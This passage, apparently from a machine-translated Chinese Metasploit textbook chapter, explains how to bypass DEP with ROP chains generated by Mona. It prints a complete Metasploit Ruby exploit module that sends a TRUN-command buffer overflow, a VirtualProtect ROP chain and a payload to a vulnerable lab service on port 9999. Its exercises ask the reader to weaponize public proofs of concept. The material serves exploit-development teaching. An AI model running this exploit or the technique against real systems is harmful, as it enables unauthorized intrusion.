在左侧,我们有一个标准应用的布局。在中间,我们有一个应用使用缓冲区溢出漏洞攻击,导致 EIP 登记器的重写。在右边,我们有 DEP 旁路的机制,在这里,我们不是用 JMP ESP 地址覆盖 EIP,而是用 ROP 小工具的地址覆盖它,然后是另一个 ROP 小工具,依此类推,直到实现外壳代码的执行。
指令的执行将如何绕过硬件启用的 DEP 保护?
答案很简单。诀窍是链接这些 ROP 小工具来调用VirtualProtect()
函数,这是一个内存保护函数,用于使堆栈可执行,以便外壳代码可以执行。让我们看一下在 DEP 保护下利用漏洞所需执行的步骤:
- 查找到 EIP 寄存器的偏移量
- 用第一个 ROP 小工具覆盖寄存器
- 继续覆盖其余的小工具,直到外壳代码变为可执行
- 执行外壳代码
使用免疫调试器中的 Mona 脚本,我们可以找到 ROP 小工具。但是,它还提供了自行创建整个 ROP 链的功能,如以下屏幕截图所示:
使用调试器控制台中的!mona rop -m *.dll -cp nonull
命令,我们可以找到有关 ROP 小工具的所有相关信息。我们可以看到 Mona 脚本生成了以下文件:
有趣的是,我们有一个名为rop_chains.txt
的文件,其中包含可以直接在漏洞模块中使用的整个链。该文件包含在 Python、C 和 Ruby 中创建的 ROP 链,这些 ROP 链已在 Metasploit 中使用。我们需要做的就是将 ROP 链复制到我们的漏洞中,我们就可以开始了。
要创建用于触发VirtualProtect()
功能的 ROP 链,我们需要以下寄存器设置:
让我们看看 Mona 脚本创建的 ROP 链,如下所示:
我们在 Metasploit 的rop_chains.txt
文件中有一个完整的create_rop_chain
函数。我们只需要将这个函数复制到我们的应用中。
在本节中,我们将为利用堆栈溢出漏洞的同一个易受攻击的应用编写 DEP 绕过漏洞攻击,该漏洞攻击在启用 DEP 时失败。应用在 TCP 端口9999
上运行。因此,让我们快速构建一个模块,并尝试在同一应用上绕过 DEP:
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'DEP Bypass Exploit',
'Description' => %q{
DEP Bypass Using ROP Chains Example Module
},
'Platform' => 'win',
'Author' =>
[
'Nipun Jaswal'
],
'Payload' =>
{
'space' => 312,
'BadChars' => "\x00",
},
'Targets' =>
[
['Windows 7 Professional',{ 'Offset' => 2006}]
],
'DisclosureDate' => 'Mar 4 2018'
))
register_options(
[
Opt::RPORT(9999)
])
end
我们已经编写了许多模块,并且非常熟悉所需的库和初始化部分。此外,我们不需要返回地址,因为我们使用 ROP 链自动构建跳转到外壳代码的机制。让我们关注利用漏洞部分:
def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x77dfb7e4, # POP ECX # RETN [RPCRT4.dll]
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x76a5fd52, # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll]
0x766a70d7, # POP EBP # RETN [USP10.dll]
0x625011bb, # & jmp esp [essfunc.dll]
0x777f557c, # POP EAX # RETN [msvcrt.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x765e4802, # NEG EAX # RETN [user32.dll]
0x76a5f9f1, # XCHG EAX,EBX # RETN [MSCTF.dll]
0x7779f5d4, # POP EAX # RETN [msvcrt.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x765e4802, # NEG EAX # RETN [user32.dll]
0x76386fc0, # XCHG EAX,EDX # RETN [kernel32.dll]
0x77dfd09c, # POP ECX # RETN [RPCRT4.dll]
0x62504dfc, # &Writable location [essfunc.dll]
0x77e461e1, # POP EDI # RETN [RPCRT4.dll]
0x765e4804, # RETN (ROP NOP) [user32.dll]
0x777f3836, # POP EAX # RETN [msvcrt.dll]
0x90909090, # nop
0x77d43c64, # PUSHAD # RETN [ntdll.dll]
].flatten.pack("V*")
return rop_gadgets
end
def exploit
connect
rop_chain = create_rop_chain()
junk = rand_text_alpha_upper(target['Offset'])
buf = "TRUN ."+junk + rop_chain + make_nops(16) + payload.encoded+'rn'
sock.put(buf)
handler
disconnect
end
end
我们可以看到,我们将 Mona 脚本生成的rop_chains.txt
文件中的整个create_rop_chain
函数复制到了我们的漏洞中。
我们通过连接到目标来开始攻击方法。然后,我们调用create_rop_chain
函数并将整个链存储在一个名为rop_chain
的变量中。
接下来,我们使用rand_text_alpha_upper
函数创建2006
字符的随机文本,并将其存储到名为junk
的变量中。应用中的漏洞存在于TRUN
命令的执行过程中。因此,我们创建了一个名为buf
的新变量,并存储TRUN
命令,后面是保存2006
随机字符的junk
变量,后面是我们的rop_chain
。我们还向buf
变量添加了一些填充,最后是外壳代码。
接下来,我们只是将buf
变量放入通信通道sock.put
方法中。最后,我们只需调用处理程序来检查是否成功利用了该漏洞。
让我们运行此模块并检查是否可以利用该系统:
答对 了我们轻松地通过了 DEP 保护。我们现在可以对受损目标执行后期攻击。
在本章中,我们基于基于堆栈的漏洞开发了漏洞利用,在我们的漏洞利用过程中,我们绕过了 SEH 和 DEP 保护机制。还有更多的保护技术,如地址空间布局随机化****ASLR、堆栈 cookie、安全 SEH、SEHOP等。我们将在本书接下来的章节中看到这些技术的旁路技术。然而,这些技术需要对汇编、操作码和调试有很好的理解。
有关调试的更多信息,请参阅:http://resources.infosecinstitute.com/debugging-fundamentals-for-exploit-development/ 。
在本章中,我们首先介绍了在 Metasploit 中利用编写的背景下组装的要点、一般概念及其在利用中的重要性。我们详细介绍了基于堆栈的溢出、基于 SEH 的堆栈溢出以及 DEP 等保护机制的旁路。我们在 Metasploit 中包含了各种方便的工具,这些工具有助于开发过程。我们还研究了不良角色和空间限制的重要性。
现在,我们可以在支持工具的帮助下执行诸如在 Metasploit 中编写软件漏洞攻击、确定基本寄存器、覆盖它们的方法以及击败复杂的保护机制等任务。
在继续下一章之前,请随意执行以下练习:
- 尝试在 exploit-db.com 上查找仅在 Windows XP 系统上可用的漏洞,并使其在 Windows 7/8/8.1 上可用
- 从中获取至少 3 个 POC 漏洞 https://exploit-db.com/ 并将其转换为具有完全功能的 Metasploit 漏洞模块
- 开始对 Metasploit 的 GitHub 存储库做出贡献,并派生主实例
在下一章中,我们将研究 Metasploit 中目前不可用的公开漏洞利用。我们将尝试将它们移植到 Metasploit 框架。